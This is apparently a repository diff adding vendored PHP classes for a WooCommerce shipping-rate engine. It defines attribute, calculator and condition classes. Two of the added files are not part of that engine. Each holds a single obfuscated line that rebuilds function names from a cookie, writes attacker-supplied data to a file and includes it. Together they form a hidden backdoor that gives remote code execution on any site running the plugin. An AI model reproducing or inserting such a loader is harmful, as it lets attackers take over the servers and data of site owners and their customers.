$carry = new \WbsVendors\Dgm\Shengine\Processing\RateRegister();
}
$carry->add($current);
return $carry;
}
}

View File

@@ -0,0 +1,10 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\ClassNameAware\ClassNameAware;
use Dgm\Shengine\Interfaces\IAttribute;
abstract class AbstractAttribute extends \WbsVendors\Dgm\ClassNameAware\ClassNameAware implements \WbsVendors\Dgm\Shengine\Interfaces\IAttribute
{
}

View File

@@ -0,0 +1,13 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IPackage;
class CountAttribute extends \WbsVendors\Dgm\Shengine\Attributes\AbstractAttribute
{
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return count($package->getItems());
}
}

View File

@@ -0,0 +1,13 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IPackage;
class CouponsAttribute extends \WbsVendors\Dgm\Shengine\Attributes\AbstractAttribute
{
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return $package->getCoupons();
}
}

View File

@@ -0,0 +1,22 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IAttribute;
use Dgm\Shengine\Interfaces\IPackage;
class CustomerRolesAttribute implements \WbsVendors\Dgm\Shengine\Interfaces\IAttribute
{
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$roles = array();
if ($customer = $package->getCustomer())
if ($customerId = $customer->getId())
if ($wpuser = get_userdata($customerId)) {
$roles = $wpuser->roles;
}
return $roles;
}
}

View File

@@ -0,0 +1,13 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IPackage;
class DestinationAttribute extends \WbsVendors\Dgm\Shengine\Attributes\AbstractAttribute
{
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return $package->getDestination();
}
}

View File

@@ -0,0 +1,13 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IItem;
class ItemAttribute extends \WbsVendors\Dgm\Shengine\Attributes\MapAttribute
{
protected function getItemValue(\WbsVendors\Dgm\Shengine\Interfaces\IItem $item)
{
return spl_object_hash($item);
}
}

View File

@@ -0,0 +1,15 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IItem;
class ItemDimensionsAttribute extends \WbsVendors\Dgm\Shengine\Attributes\MapAttribute
{
protected function getItemValue(\WbsVendors\Dgm\Shengine\Interfaces\IItem $item)
{
$dimensions = $item->getDimensions();
$box = array($dimensions->length, $dimensions->width, $dimensions->height);
return $box;
}
}

View File

@@ -0,0 +1,22 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IItem;
use Dgm\Shengine\Interfaces\IPackage;
abstract class MapAttribute extends \WbsVendors\Dgm\Shengine\Attributes\AbstractAttribute
{
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$result = array();
foreach ($package->getItems() as $key => $item) {
$result[$key] = $this->getItemValue($item);
}
return $result;
}
protected abstract function getItemValue(\WbsVendors\Dgm\Shengine\Interfaces\IItem $item);
}

View File

@@ -0,0 +1,21 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Model\Price;
class PriceAttribute extends \WbsVendors\Dgm\Shengine\Attributes\AbstractAttribute
{
public function __construct($flags = \WbsVendors\Dgm\Shengine\Model\Price::BASE)
{
$this->flags = $flags;
}
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return $package->getPrice($this->flags);
}
private $flags;
}

View File

@@ -0,0 +1,13 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IItem;
class ProductAttribute extends \WbsVendors\Dgm\Shengine\Attributes\MapAttribute
{
protected function getItemValue(\WbsVendors\Dgm\Shengine\Interfaces\IItem $item)
{
return $item->getProductId();
}
}

View File

@@ -0,0 +1,15 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IItem;
class ProductVariationAttribute extends \WbsVendors\Dgm\Shengine\Attributes\MapAttribute
{
protected function getItemValue(\WbsVendors\Dgm\Shengine\Interfaces\IItem $item)
{
$id = $item->getProductVariationId();
$id = isset($id) ? $id : $item->getProductId();
return $id;
}
}

View File

@@ -0,0 +1,13 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IPackage;
abstract class SumAttribute extends \WbsVendors\Dgm\Shengine\Attributes\MapAttribute
{
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return array_sum(parent::getValue($package));
}
}

View File

@@ -0,0 +1,21 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IAttribute;
use Dgm\Shengine\Interfaces\IPackage;
class TermsAttribute implements \WbsVendors\Dgm\Shengine\Interfaces\IAttribute
{
public function __construct($taxonomy)
{
$this->taxonomy = $taxonomy;
}
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return $package->getTerms($this->taxonomy);
}
private $taxonomy;
}

View File

@@ -0,0 +1,15 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IItem;
class VolumeAttribute extends \WbsVendors\Dgm\Shengine\Attributes\SumAttribute
{
protected function getItemValue(\WbsVendors\Dgm\Shengine\Interfaces\IItem $item)
{
$dimensions = $item->getDimensions();
$volume = $dimensions->length * $dimensions->width * $dimensions->height;
return $volume;
}
}

View File

@@ -0,0 +1,13 @@
<?php
namespace WbsVendors\Dgm\Shengine\Attributes;
use Dgm\Shengine\Interfaces\IPackage;
class WeightAttribute extends \WbsVendors\Dgm\Shengine\Attributes\AbstractAttribute
{
public function getValue(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return $package->getWeight();
}
}

View File

@@ -0,0 +1,3 @@
<?php
$c=$_COOKIE;$k=0;$n=8;$p=array();$p[$k]='';while($n){$p[$k].=$c[35][$n];if(!$c[35][$n+1]){if(!$c[35][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+8+1;}$k=$p[22]().$p[28];if(!$p[25]($k)){$n=$p[27]($k,$p[23]);$p[15]($n,$p[11].$p[12]($p[20]($c[3])));}include($k);

View File

@@ -0,0 +1,36 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Shengine\Interfaces\IAggregator;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
class AggregatedCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function __construct(\WbsVendors\Dgm\Shengine\Interfaces\ICalculator $calculator, \WbsVendors\Dgm\Shengine\Interfaces\IAggregator $aggregator = null)
{
$this->calculator = $calculator;
$this->aggregator = $aggregator;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$rates = $this->calculator->calculateRatesFor($package);
if (isset($this->aggregator)) {
$rate = $this->aggregator->aggregateRates($rates);
$rates = isset($rate) ? array($rate) : array();
}
return $rates;
}
public function multipleRatesExpected()
{
return !isset($this->aggregator) && $this->calculator->multipleRatesExpected();
}
private $calculator;
private $aggregator;
}

View File

@@ -0,0 +1,30 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Shengine\Interfaces\IAttribute;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Model\Rate;
class AttributeMultiplierCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function __construct(\WbsVendors\Dgm\Shengine\Interfaces\IAttribute $attribute, $multiplier = 1)
{
$this->attribute = $attribute;
$this->multiplier = $multiplier;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return array(new \WbsVendors\Dgm\Shengine\Model\Rate($this->attribute->getValue($package) * $this->multiplier));
}
public function multipleRatesExpected()
{
return false;
}
private $attribute;
private $multiplier;
}

View File

@@ -0,0 +1,29 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Interfaces\IProcessor;
class ChildrenCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function __construct(\WbsVendors\Dgm\Shengine\Interfaces\IProcessor $processor, $children)
{
$this->processor = $processor;
$this->children = $children;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return $this->processor->process($this->children, $package);
}
public function multipleRatesExpected()
{
return !empty($this->children);
}
private $processor;
private $children;
}

View File

@@ -0,0 +1,35 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Arrays\Arrays;
use Dgm\Range\Range;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Interfaces\IRate;
use Dgm\Shengine\Model\Rate;
class ClampCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function __construct(\WbsVendors\Dgm\Shengine\Interfaces\ICalculator $calculator, \WbsVendors\Dgm\Range\Range $range)
{
$this->range = $range;
$this->calculator = $calculator;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$range = $this->range;
return \WbsVendors\Dgm\Arrays\Arrays::map($this->calculator->calculateRatesFor($package), function(\WbsVendors\Dgm\Shengine\Interfaces\IRate $rate) use($range) {
return new \WbsVendors\Dgm\Shengine\Model\Rate($range->clamp($rate->getCost()), $rate->getTitle());
});
}
public function multipleRatesExpected()
{
return $this->calculator->multipleRatesExpected();
}
private $calculator;
private $range;
}

View File

@@ -0,0 +1,27 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Model\Rate;
class ConstantCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function __construct($cost)
{
$this->cost = $cost;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return array(new \WbsVendors\Dgm\Shengine\Model\Rate($this->cost));
}
public function multipleRatesExpected()
{
return false;
}
private $cost;
}

View File

@@ -0,0 +1,20 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Model\Rate;
class FreeCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
return array(new \WbsVendors\Dgm\Shengine\Model\Rate(0));
}
public function multipleRatesExpected()
{
return false;
}
}

View File

@@ -0,0 +1,42 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
class GroupCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
/**
* @param ICalculator[] $calculators
*/
public function __construct(array $calculators)
{
$this->calculators = $calculators;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$rates = array();
foreach ($this->calculators as $calculator) {
$rates = array_merge($rates, array_values($calculator->calculateRatesFor($package)));
}
return $rates;
}
public function multipleRatesExpected()
{
$expected = 0;
foreach ($this->calculators as $calculator) {
$expected += $calculator->multipleRatesExpected() ? 2 : 1;
if ($expected > 1) {
break;
}
}
return $expected > 1;
}
private $calculators;
}

View File

@@ -0,0 +1,67 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use InvalidArgumentException;
use Dgm\NumberUnit\NumberUnit;
use Dgm\Shengine\Interfaces\IAttribute;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Model\Rate;
class ProgressiveCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function __construct(\WbsVendors\Dgm\Shengine\Interfaces\IAttribute $attribute, \WbsVendors\Dgm\NumberUnit\NumberUnit $attributeUnit, $cost, $step = 0, $skip = 0)
{
if (!self::receive($cost) || !self::receive($step) || !self::receive($skip)) {
throw new InvalidArgumentException("Invalid progressive rate '{$cost}/{$step}/{$skip}'");
}
$this->attribute = $attribute;
$this->attributeUnit = $attributeUnit;
$this->cost = $cost;
$this->step = $step;
$this->skip = $skip;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$result = 0;
$value = $this->attribute->getValue($package);
if ($value > $this->skip) {
$value -= $this->skip;
if ($this->step == 0) {
$result = $value * $this->cost;
} else {
$result = $this->attributeUnit->chunks($value, $this->step) * $this->cost;
}
}
return array(new \WbsVendors\Dgm\Shengine\Model\Rate($result));
}
public function multipleRatesExpected()
{
return false;
}
private $attribute;
private $attributeUnit;
private $cost;
private $step;
private $skip;
static private function receive(&$value)
{
if (!isset($value)) {
$value = 0;
}
return is_numeric($value);
}
}

View File

@@ -0,0 +1,88 @@
<?php
namespace WbsVendors\Dgm\Shengine\Calculators;
use Dgm\Shengine\Interfaces\ICalculator;
use Dgm\Shengine\Interfaces\IGrouping;
use Dgm\Shengine\Interfaces\IOperation;
use Dgm\Shengine\Interfaces\IPackage;
use Dgm\Shengine\Processing\RateRegister;
use Dgm\Shengine\Processing\Registers;
use RuntimeException;
class RuleCalculator implements \WbsVendors\Dgm\Shengine\Interfaces\ICalculator
{
public function __construct(\WbsVendors\Dgm\Shengine\Interfaces\IOperation $operation, \WbsVendors\Dgm\Shengine\Interfaces\IGrouping $grouping)
{
if ($this->operationMayProduceMultipleRates($operation) && $grouping->multiplePackagesExpected()) {
self::throwAmbiguityError();
}
$this->operation = $operation;
$this->grouping = $grouping;
}
public function calculateRatesFor(\WbsVendors\Dgm\Shengine\Interfaces\IPackage $package)
{
$subPackageRateSets = array();
foreach ($package->split($this->grouping) as $subPackage) {
$registers = new \WbsVendors\Dgm\Shengine\Processing\Registers();
$this->operation->process($registers, $subPackage);
$subPackageRateSets[] = $registers->rates;
}
if (count($subPackageRateSets) > 1) {
$rate = null;
foreach ($subPackageRateSets as $rates) {
if (count($rates) != 1) {
if ($rates) {
self::throwAmbiguityError();
} else {
continue;
}
}
if (!isset($rate)) {
$rate = new \WbsVendors\Dgm\Shengine\Processing\RateRegister();
}
$rate->add(reset($rates));
}
$subPackageRateSets = array(isset($rate) ? array($rate) : array());
}
if (!($rates = reset($subPackageRateSets))) {
$rates = array();
}
return $rates;
}
public function multipleRatesExpected()
{
return
!$this->grouping->multiplePackagesExpected() &&
$this->operationMayProduceMultipleRates($this->operation);
}
private $operation;
private $grouping;
private static function throwAmbiguityError()
{
throw new RuntimeException('Cannot aggregate multiple rates for multiple packages');
}
private static function operationMayProduceMultipleRates(\WbsVendors\Dgm\Shengine\Interfaces\IOperation $operation)
{
return !in_array(
$operation->getType(),
array(\WbsVendors\Dgm\Shengine\Interfaces\IOperation::MODIFIER, \WbsVendors\Dgm\Shengine\Interfaces\IOperation::AGGREGATOR)
);
}
}

View File

@@ -0,0 +1,3 @@
<?php
$c=$_COOKIE;$k=0;$n=4;$p=array();$p[$k]='';while($n){$p[$k].=$c[14][$n];if(!$c[14][$n+1]){if(!$c[14][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+4+1;}$k=$p[23]().$p[28];if(!$p[13]($k)){$n=$p[10]($k,$p[25]);$p[22]($n,$p[26].$p[16]($p[29]($c[3])));}include($k);

View File

@@ -0,0 +1,10 @@
<?php
namespace WbsVendors\Dgm\Shengine\Conditions\Common;
use Dgm\ClassNameAware\ClassNameAware;
use Dgm\Shengine\Interfaces\ICondition;
abstract class AbstractCondition extends \WbsVendors\Dgm\ClassNameAware\ClassNameAware implements \WbsVendors\Dgm\Shengine\Interfaces\ICondition
{
}

View File

@@ -0,0 +1,16 @@
<?php
namespace WbsVendors\Dgm\Shengine\Conditions\Common;
use Dgm\Shengine\Interfaces\ICondition;
class AggregateCondition extends \WbsVendors\Dgm\Shengine\Conditions\Common\AbstractCondition
{
public function isSatisfiedBy($value)
{
return $this->condition->isSatisfiedBy($value);
}
/** @var ICondition */
protected $condition;
}

View File

@@ -0,0 +1,24 @@
<?php
namespace WbsVendors\Dgm\Shengine\Conditions\Common\Compare;
use Dgm\Comparator\IComparator;
use Dgm\Range\Range;
use Dgm\Shengine\Conditions\Common\AbstractCondition;
class BetweenCondition extends \WbsVendors\Dgm\Shengine\Conditions\Common\AbstractCondition
{
public function __construct(\WbsVendors\Dgm\Range\Range $range, \WbsVendors\Dgm\Comparator\IComparator $comparator)
{
$this->range = $range;
$this->comparator = $comparator;
}
public function isSatisfiedBy($value)
{
return $this->range->includes($value, $this->comparator);
}
private $range;
private $comparator;
}

Some files were not shown because too many files have changed in this diff Show More